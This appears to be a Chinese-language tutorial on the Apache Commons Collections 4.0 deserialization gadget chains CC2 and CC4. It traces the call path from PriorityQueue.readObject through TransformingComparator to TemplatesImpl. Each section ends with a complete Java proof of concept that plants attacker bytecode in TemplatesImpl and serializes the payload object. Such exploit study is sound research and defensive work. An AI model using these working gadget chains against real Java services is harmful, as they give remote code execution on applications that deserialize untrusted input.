0%

CommonsCollections-2,4

前言

简单来说CC2就是从 SerializablereadObject() ⽅法到 Transformertransform() ⽅法的调⽤链,首先 CommonsCollections3 中无法使用,因为在3的版本中 TransformingComparator 无法序列化。其次 只有 CommonsCollections4的4.0 可以使用,因为 CommonsCollections4 其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化,进而衍生出CC4。

环境

添加maven依赖

<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

CC2分析

调用链

->PriorityQueue.readObject()
->PriorityQueue.heapify()
->PriorityQueue.siftDown()
->PriorityQueue.siftDownUsingComparator()
->TransformingComparator.compare()
->InvokerTransformer.transform()
->TemplatesImpl.newTransformer()
->…………

PriorityQueuereadObject() 调用 heapify()

调用siftDown

调用siftDownUsingComparator

调用 comparator的 compare方法

TransformingComparatorcompare方法调用 transform 方法,这里就可以接上 InvokerTransformer 或者 ChainedTransformer

再接上了 TemplatesImpl的 **newTransformer **方法加载恶意字节(CC3的利用方法)

大概流程

public class PriorityQueue<E> extends AbstractQueue<E> implements java.io.Serializable {
private transient Object[] queue; //关键点,可以传入 TemplatesImpl
private final Comparator<? super E> comparator; //关键点可以反射设置我们自己的 Comparator

//关键点,反序列化时字段执行的 readObject
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
//关键点,调用 heapify() 排序
heapify();
}

//跟进 heapify() 方法
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

//跟进 siftDown 方法,如果 comparator 不为空,调用 siftDownUsingComparator
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

//跟进 siftDownUsingComparator 方法,可以看到这里调用了我们自定义的 Comparator
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0) //关键点
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
}

构造细节

在readObject中

s.defaultReadObject()调用默认的方法,利用readInt读取了数组的大小,接着通过for循环中s.readObject()读取Queue中的元素,这里需要queue必须有元素,后续利用链需要

priorityQueue.add(1);

进入heapify()

>>>意思是无符号右移,忽略符号位,空位都以0补齐

这里**(size >>> 1) - 1** 需要大于等于0,所以size也就需要为2,所以就需要添加两个元素

priorityQueue.add(1);
priorityQueue.add(1);

进入siftDown函数,传入 0与queue的第一个元素

comparator不为空进入siftDownUsingComparator传入依然是 0与queue的第一个元素

此时size=2, half=1, k=0, x=queue[0] 进入while循环child=1, c=queue[1], right=2 所以进入 if (comparator.compare(x, (E) c) <= 0)

然后接上后面的链子

这里就有个小问题,既然在这里传进来只用obj1,也就是queue[0]就可以达到目的,为什么poc会添加两个templates,这样构造不也可以吗,其实也是可以的

Object[] objects = new Object[]{templates,1};

poc

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2 {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\cys\\Desktop/Calc.class"));
TemplatesImpl templates = new TemplatesImpl();

setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "aaa");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

//templates.newTransformer();

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

//TransformingComparator 实例
TransformingComparator comparator = new TransformingComparator(invokerTransformer);

//PriorityQueue 实例
PriorityQueue priorityQueue = new PriorityQueue(2);
//先设置为正常变量值,后面可以通过setFieldValue修改
priorityQueue.add(1);
priorityQueue.add(1);

//反射设置 Field
Object[] objects = new Object[]{templates,1};
setFieldValue(priorityQueue, "queue", objects);
setFieldValue(priorityQueue, "comparator", comparator);

//serialize(priorityQueue);
unserialize("ser.bin");

}
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}

public static void serialize(Object obj) throws Exception {
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String Filname) throws Exception, ClassNotFoundException {
FileInputStream fis = new FileInputStream(Filname);
ObjectInputStream ois = new ObjectInputStream(fis);
Object obj = ois.readObject();
return obj;
}
}

CC4分析

上面 CC2 说了因为 CommonsCollections4 除4.0的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化。所以我们是否可以不使用 InvokerTransformer 呢?于是便有了 CC4,CC4 只是将 CC2 中的 InvokerTransformer 替换为了 InstantiateTransformer

调用链

->PriorityQueue.readObject()
->PriorityQueue.heapify()
->PriorityQueue.siftDown()
->PriorityQueue.siftDownUsingComparator()
->TransformingComparator.compare()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InstantiateTransformer.transform()
->TrAXFilter.TrAXFilter()
->TemplatesImpl.newTransformer()
->…………

poc

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;


import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4 {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\cys\\Desktop/Calc.class"));
TemplatesImpl templates = new TemplatesImpl();

setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "aaa");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator comparator = new TransformingComparator(chainedTransformer);

//PriorityQueue 实例
PriorityQueue priorityQueue = new PriorityQueue(2);
//先设置为正常变量值,后面可以通过setFieldValue修改
priorityQueue.add(1);
priorityQueue.add(1);

//反射设置 Field
Object[] objects = new Object[]{templates,1};
setFieldValue(priorityQueue, "queue", objects);
setFieldValue(priorityQueue, "comparator", comparator);

serialize(priorityQueue);
//unserialize("ser.bin");
}

public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}

public static void serialize(Object obj) throws Exception {
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String Filname) throws Exception, ClassNotFoundException {
FileInputStream fis = new FileInputStream(Filname);
ObjectInputStream ois = new ObjectInputStream(fis);
Object obj = ois.readObject();
return obj;
}
}